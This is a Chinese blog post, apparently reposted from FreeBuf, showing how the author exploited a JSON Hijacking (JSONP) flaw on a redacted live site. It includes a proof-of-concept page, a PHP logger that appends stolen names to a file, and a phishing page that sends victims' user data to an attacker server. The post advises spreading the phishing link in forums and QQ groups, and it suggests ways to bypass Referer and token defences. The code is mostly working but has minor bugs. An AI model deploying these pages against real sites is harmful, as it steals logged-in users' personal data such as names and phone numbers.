博客
关于我
小学生都会挖掘的JSON Hijacking实战利用
阅读量:142 次
发布时间:2019-02-27

本文共 1322 字,大约阅读时间需要 4 分钟。

前言

JSON Hijacking漏洞的详细利用,有点类似与CSRF,不过原理利用方式不同,在这边文章我着重讲解json跨域劫持的利用环境搭建与方式。

0×01漏洞的挖掘

一般挖掘的过程中,burpsuite代理的History做寻找,过滤多余不可能存在漏洞的一些链接,如下图所示:

我们在返回包中json格式发现了如下的敏感信息(用户Id,用户名,用户手机号码)。 

 

0×02漏洞的证明之poc

提交漏洞,poc在众测时要争分夺秒,所以这边用了最精简的一个POC。

假如返回的数据为:

txf({“data”:{“name”:”唐晓峰”}});

<html><head><script>function txf(a){alert(a.data.name);}</script><script src=http://***.***.**/wm/User/getUserInfo?callback=txf></script></body></html>

 即可如下弹窗:

 

 

 

0×03漏洞的利用之钓鱼

1.准备一台web服务器,我直接phpstudy搭的。

附上服务器端的代码

 json.php

<?php$nickname=$_GET['name'];$fp = fopen('info.txt','a');$flag = fwrite($fp, "名字:  ".$name."\r\n");?><html>

 钓鱼.html

<head>    <title>txf</title><script>	var xmlhttp;    function txf(a)    {    xmlhttp=new XMLHttpRequest()	var x="http://***.***.***/json.php?name="+a.data.name;	xmlhttp.open("GET", x, true);	xmlhttp.send();	}</script>><script src=http://***.***.***?callback=txf></script></head><body>	<textarea>钓鱼啦,傻瓜</textarea>></body></html>

 把钓鱼链接http://***.***.***/钓鱼.html发给该网站已登陆的用户,如论坛,社区QQ群,社区贴吧等,服务端即可获取到大量用户敏感数据。

0×04漏洞的修复与绕过

因为这个例子是小伙伴发过来的还没修复,所以都脱敏了,我们再从开发修复的角度去思考如何绕过修复。

1.Referer白名单

子域名绕过,文件名绕过,空Referer绕过

2.增加token认证

token足够复杂或者服务端加密,我们无法绕过,如果token很简单,如纯数字,我们可以尝试遍历绕过

3.接口禁用

无敌的操作,无法绕过

总结:

非常有意思的一个劫持,以前没有利用过,只是知道有这么个东西,一般众测或者项目上遇到我都是直接截图,申明一波敏感信息泄露,然后就结束了,很低危,这次实战利用之后,稍微提高了一点逼格。

*本文作者:zhukaiang7,转载请注明来自FreeBuf.COM

 

 

你可能感兴趣的文章
NIO蔚来 面试——IP地址你了解多少?
查看>>
NISP一级,NISP二级报考说明,零基础入门到精通,收藏这篇就够了
查看>>
NISP国家信息安全水平考试,收藏这一篇就够了
查看>>
NIS服务器的配置过程
查看>>
NIS认证管理域中的用户
查看>>
Nitrux 3.8 发布!性能全面提升,带来非凡体验
查看>>
NiuShop开源商城系统 SQL注入漏洞复现
查看>>
NI笔试——大数加法
查看>>
NLog 自定义字段 写入 oracle
查看>>
NLog类库使用探索——详解配置
查看>>
NLP 基于kashgari和BERT实现中文命名实体识别(NER)
查看>>
NLP 时事和见解【2023】
查看>>
NLP 模型中的偏差和公平性检测
查看>>
Vue3.0 性能提升主要是通过哪几方面体现的?
查看>>
NLP 项目:维基百科文章爬虫和分类【01】 - 语料库阅读器
查看>>
NLP_什么是统计语言模型_条件概率的链式法则_n元统计语言模型_马尔科夫链_数据稀疏(出现了词库中没有的词)_统计语言模型的平滑策略---人工智能工作笔记0035
查看>>
NLP、CV 很难入门?IBM 数据科学家带你梳理
查看>>
NLP三大特征抽取器:CNN、RNN与Transformer全面解析
查看>>
NLP入门(六)pyltp的介绍与使用
查看>>
NLP学习笔记:使用 Python 进行NLTK
查看>>